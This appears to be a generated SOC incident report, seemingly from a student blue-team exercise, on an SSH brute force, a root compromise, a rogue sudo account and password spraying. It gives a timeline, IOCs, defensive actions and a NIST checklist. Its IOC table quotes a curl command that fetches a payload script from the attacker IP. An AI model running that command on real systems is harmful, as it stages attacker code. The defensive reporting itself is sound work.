SOC Incident Summary · GS-INC-20260915-805

Severity CRITICAL · Priority P1 · respond within 15 min · notify: SOC Lead + IR Manager + system owner; page on-call
Risk score100/100
Findings10
Events analysed135
ConfidenceHIGH

Window: 2026-09-14 00:05:01 → 2026-09-14 09:30:00  ·  Analyst: Eswar Mahalingam (Blue Team, GS-STU-DSOU-2026-039A)  ·  Generated: 2026-09-15 01:26:43  ·  Source: data/findings.json

1. Executive summary

2. Attack narrative

  1. Chain: credential guessing → successful root login → new account + sudo grant (persistence). This is a confirmed intrusion, not a scan.
  2. From 203.0.113.45: the attacker at 203.0.113.45 — 00:05 — successful login after failure burst (likely compromised credential) (admin, root); then 00:05 — ssh brute force (many failures from one source) (admin, root); then 00:06 — privileged account login outside business hours (root).
  3. From local: an actor already on the host — 00:08 — new local account created (svc_backup); then 00:09 — account added to privileged group (svc_backup); then 00:09 — privileged command fetched/staged a remote payload (root); then 09:00 — repeated failed sudo (local privilege-escalation probing) (arjun); then 09:30 — su to root attempted (arjun).
  4. From 198.51.100.77: the attacker at 198.51.100.77 — 01:40 — password spraying (one source, many accounts) (alice, bob, carol); then 01:40 — username enumeration / invalid-user probing (alice, bob, carol).

3. Timeline

TimeIDSevFindingSourceAccountsEvents
00:05:01F03CRITICALSuccessful login after failure burst (likely compromised credential)203.0.113.45admin, root38
00:05:01F01HIGHSSH brute force (many failures from one source)203.0.113.45admin, root37
00:06:42F04MEDIUMPrivileged account login outside business hours203.0.113.45root1
00:08:42F09HIGHNew local account createdlocalsvc_backup1
00:09:02F10CRITICALAccount added to privileged grouplocalsvc_backup1
00:09:42F08HIGHPrivileged command fetched/staged a remote payloadlocalroot1
01:40:33F02HIGHPassword spraying (one source, many accounts)198.51.100.77alice, bob, carol16
01:40:33F05MEDIUMUsername enumeration / invalid-user probing198.51.100.77alice, bob, carol16
09:00:15F06HIGHRepeated failed sudo (local privilege-escalation probing)localarjun4
09:30:00F07MEDIUMsu to root attemptedlocalarjun1

4. Indicators of Compromise

TypeValueSeen inAction
IPv4203.0.113.45Successful login after failure burst (likely compromised credential)Block at perimeter; add to threat-intel watchlist; search other logs
AccountadminSuccessful login after failure burst (likely compromised credential)Disable + reset credential; review sessions
AccountrootSuccessful login after failure burst (likely compromised credential)Disable + reset credential; review sessions
Accountsvc_backupAccount added to privileged groupDisable + reset credential; review sessions
Command/usr/bin/curl -s http://203.0.113.45/x.sh -o /tmp/x.shPrivileged command fetched/staged a remote payloadCheck for dropped files; hash and sandbox any payload
IPv4198.51.100.77Password spraying (one source, many accounts)Block at perimeter; add to threat-intel watchlist; search other logs
AccountalicePassword spraying (one source, many accounts)Force password reset; monitor
AccountbobPassword spraying (one source, many accounts)Force password reset; monitor
AccountcarolPassword spraying (one source, many accounts)Force password reset; monitor
AccountdavePassword spraying (one source, many accounts)Force password reset; monitor
AccounterinPassword spraying (one source, many accounts)Force password reset; monitor
AccountfrankPassword spraying (one source, many accounts)Force password reset; monitor
AccountgracePassword spraying (one source, many accounts)Force password reset; monitor
AccountheidiPassword spraying (one source, many accounts)Force password reset; monitor
AccountivanPassword spraying (one source, many accounts)Force password reset; monitor
AccountjudyPassword spraying (one source, many accounts)Force password reset; monitor
AccountmalloryPassword spraying (one source, many accounts)Force password reset; monitor
AccountoscarPassword spraying (one source, many accounts)Force password reset; monitor
AccountpeggyPassword spraying (one source, many accounts)Force password reset; monitor
AccounttrentPassword spraying (one source, many accounts)Force password reset; monitor
AccountvictorPassword spraying (one source, many accounts)Force password reset; monitor
AccountwalterPassword spraying (one source, many accounts)Force password reset; monitor
AccountarjunRepeated failed sudo (local privilege-escalation probing)Force password reset; monitor

5. MITRE ATT&CK

6. Recommended actions

IDSevFindingAction
F03CRITICALSuccessful login after failure burst (likely compromised credential)Isolate host from network; disable/reset the account; kill active sessions (`who`, `pkill -KILL -u <user>`); preserve /var/log and shell history; hunt for follow-on activity from the same source IP.
F10CRITICALAccount added to privileged groupRemove the account from the group immediately (`gpasswd -d <user> sudo`); check /etc/sudoers.d for drop-ins; audit all commands run by the account.
F01HIGHSSH brute force (many failures from one source)Block source IP at perimeter firewall/fail2ban; enforce key-only SSH (`PasswordAuthentication no`); rate-limit port 22; check whether the IP appears in other logs.
F09HIGHNew local account createdConfirm against change management; if unapproved, lock (`usermod -L`) and expire the account; check for SSH keys planted in its home directory.
F08HIGHPrivileged command fetched/staged a remote payloadHash and quarantine the dropped file (`sha256sum /tmp/x.sh`); check crontab/systemd for persistence; block the payload host; do NOT execute the file.
F02HIGHPassword spraying (one source, many accounts)Block source IP; force password reset for any account that later succeeded; enable account lockout / MFA; review password policy for the sprayed user list.
F06HIGHRepeated failed sudo (local privilege-escalation probing)Interview the user's manager; check whether the account is shared; review sudoers grants for least privilege; enable sudo I/O logging.
F04MEDIUMPrivileged account login outside business hoursConfirm with the account owner; if unconfirmed, treat as part of the compromise chain; add a time-based alert rule for privileged logins.
F05MEDIUMUsername enumeration / invalid-user probingBlock source IP; ensure sshd returns identical responses for valid/invalid users (default in modern OpenSSH); add IP to watchlist.
F07MEDIUMsu to root attemptedVerify with the user; if unexplained, treat as credential misuse; restrict `su` to the wheel group in /etc/pam.d/su.

7. Response checklist (NIST SP 800-61)

Containment

Eradication

Recovery

Lessons learned

8. Escalation

Priority P1 → notify SOC Lead + IR Manager + system owner; page on-call within 15 min.